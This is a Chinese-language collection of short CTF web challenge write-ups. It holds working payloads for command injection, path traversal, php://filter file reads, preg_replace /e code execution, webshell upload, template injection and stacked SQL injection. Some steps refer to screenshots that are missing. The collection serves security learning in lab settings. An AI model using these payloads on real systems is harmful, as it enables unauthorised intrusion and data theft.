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部分ctf-web题解_ctf web题目解析
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view_source
q3
不能输入整数，反序列化
把类属性个数改为2即可
Training-WWW-Robots
Robots题目，构造payload后面加一个robot.txt
Ics-06
点击报表中心
4
用burp抓包，爆破
发现2333，构造payload
Get_post
PHP2
对admin两次url编码
Robots
空白
Backup
一个不能按的按钮
删除disabled
Weak auth
Bp爆破，用户名admin，密码123456
Simple php
使a=0且a成立，==弱类型比较，当转换结果相等就相等，所以可以给a任意输字母加数字或者纯字母组合，要使b不为数字字符串，并且使b>1234，可以b=1235a
Baby web
Bp抓包，修改请求头，改为index.php放行
webshell
直接用蚁剑连
得到flag
command_execution
输入127.0.0.1;find / -name flag.txt
输入cat /home/flag.txt
Warmup
查看源码，
，构造payload，
主要看最后这段，判断的三个条件要同时满足：1.file非空 2.是字符串 3.满足emmm：checkFile这个函数
返回去看这个函数，第一次返回true，第一个if是满足字符串，第二个if是判断$page是否存在于whitelist这个白名单中，如果是则返回true，根据这个构造第一个payload，？file=source.php或者?file=hint.php，结果显示说明不在第一次返回true这里
查看第二次返回true
这个函数的意思就是取$page为“？”问号前面的字符串，然后继续判断是否存在于白名单中，要绕过这个检查，就要如下构造payload ?file=source.php? ，又根据上面提示flag在ffffllllaaaagggg这个文件中，所以?file=source.php?../../../../../ffffllllaaaagggg （“../”是为了查找上一层目录，ffffllllaaaagggg是加了四倍，四个../就是向上查了四层，ffffllllaaaagggg是加了四倍，所以四个以上的“../”就行）
得到flag。
第二个返回true就成功了，实际上还有一次
跟上面一样，就是加了一个url解码，会对你输进去的进行一次解码，由于传参url自带一次解码，所以要进行两次url加密，这里对“？”问号url加密两次构造payload，?file=source.php%25%33%66../../../../../ffffllllaaaagggg得到flag与上次一样，所以两种payload都可以得到结果（实际上是三种，仅对?一次url加密也可以，因为传参url自带一次解码，实际上后端得到的仍然是第二次返回true时的结果）
Simple js
这么长一串这个是个16进制的密文，那个函数里面把这些赋值给了tab这个变量，先对这些解码，直接百度16进制解码在线工具解码，这个就是tab的值
那个split函数没有加长度就是全部，所以这些全部赋值给tab，tab2就是那个pass里面的，所以i=0，j=11，k=11+0+0，n=18，那个k=j+（l）+（n=0），括号里不是1，是l，然后循环
简单说就是tab2把那些值都ascii码转化为字母，下面那个循环也是一样，最后返回p，实际上最后返回的值都是
但是会发现tab还没有用，把tab的值用ascii转化为文本
[极客大挑战 2019]Havefun
看源码这部分，直接传参得到flag
[ACTF2020 新生赛]Include
观察url发现应该是个文件包含漏洞，利用PHP伪协议，用php://filter构造payload，
?file=php://filter/read=convert.base64-encode/resource=flag.php
用base64解密得到flag
[ACTF2020 新生赛]Exec
命令注入，输入127.0.0.1；ls
发现可以成功，直接用cd翻目录 127.0.0.1；cd ../../../;ls
发现flag，用 127.0.0.1;cat /flag 找到flag
[极客大挑战 2019]Http
查看源码，有个文件，访问
提示不是图示网站访问，bp抓包修改请求头
继续修改UA，
提示只能本地读取，继续改xff 127.0.0.1
flag{2168b91a-8153-48a9-a577-66bd87dc402e}
[极客大挑战 2019]Secret File
源码里面有一段
，访问，
点击后显示没有，在刚才那张里面，
Bp抓包后发现
访问得到
访问后的画面如图，猜测应该是个文件包含漏洞
构造payload
得到一串加密字符，放到base64解密后得到
ics-05
打开设备维护中心
看到一个，初步猜测文件包含漏洞构造payload ?page=php://filter/read=convert.base64-encode/resource=index.php
解密得到源码
提示需要抓包改ip
利用preg_replace函数漏洞构造payload
/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123直接寻找flag
再用index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123
得到flag
[GXYCTF2019]Ping Ping Ping
构造payload传入ip，发现可以成功
666，应该是存在过滤，想办法绕过
绕过空格后发现flag也被过滤
先查看一下index.php这个文件
发现好多符号，空格，flag，bash都被过滤，搜索一下好多中方法可以绕过过滤，这里来一个变量拼接成功绕过
查看源码
[极客大挑战 2019]Knife
如图一串一句话木马，试试直接用
【极客大挑战 2019]Upload
写一个一句话木马改为jpg传上去
Bp抓包改格式，加上这个php脚本绕过PHP检查
接下来用蚁剑链接，注意连接是url为原url后加上/upload/.phtml（一般都是这样）
[ACTF2020 新生赛]Upload
上传php后发现存在过滤
， 改为phtml成功
[RoarCTF 2019]Easy Calc
看源码里面
，访问
发现num不能传入字母，想办法绕过
构造如下payload? num=var_dump(scandir(chr(47)))进行读取目录
再构造
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))相当于? num=system(cat /f1agg)
[ACTF2020 新生赛]BackupFile
根据提示猜测应该有备份，也可以用御剑扫描出来，url后面加上index.php.bak，下载来一个文件
根据源码，传入参数后显示只能为数字，所以进行一个绕过，仔细观察发现为==弱等于，则只要转换后结果相同则相同，直接构造如下payload得到flag
[极客大挑战 2019]BuyFlag
查看源码，里面有一段提示了密码
先抓包，改user为1，再用post传参password弱等于又不能为数字，那加个字母404a
显示
，用科学计数法传money，得到flag
[护网杯 2018]easy_tornado
尝试先传入参数/file?filename=/fllllllllllllag&filehash={{1}}，得到回显
提示传参格式，这道题要先获取cookie，再能继续按规定传参，既然msg=后面有注入点，我们注入error?msg={{handler.settings}}
成功获取cookie，接下来传入参数，根据hints.txt里面的提示进行MD5加密
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
file?filename=/fllllllllllllag&filehash=95bdae40f2e0720c502f9792a07f28e6
MoeCTF 2022 ezphp
研究了半天第一个if是没有flag就会输出$giveme，第二个if是flag不能===flag
查到是变量覆盖漏洞，经过实验发现get传进去的值会改变变量名，post传进去会改变变量内容，直接构造？1=flag&flag=1得到flag
实际使在flag不能===flag的情况下，还使flag为原值，借用新变量1当跳板
[强网杯 2019]随便注
提交1‘发现报错，存在注入点
发现只有2行，
发现有部分被过滤了，使用堆叠注入
查到数据库名，继续查表
查看第一个表的字段1'; show columns from `1919810931114514`; #
（表名为数字要用····` `·包起来）
有个字段名为flag所以总结一下
利用rename将words表的给改个名字，名字随意，讲1919810931114514表的名字改成words，应为会一次回显两个字段的信息，也就是id和data，那么我们就利用alter来修改新的words表，最后在利用1’ or 1=1#来回显全部内容得到到结果 。
因为查询是在words中查询id的，所以我们将表1919810931114514改名为words，将words改名为其余的名字。同时将flag属性改名为id属性，类型为varchar(100)
构造语句 0';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show tables;#
[SUCTF 2019]EasySQL
直接注入不能成功，使用堆叠注入1；show databases；#
注入1；show tables；#
后端（内部查询语句）语句中有||操作符，只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。（select 输入数据 || flag from Flag）
注入1;set sql_mode=PIPES_AS_CONCAT;select 1
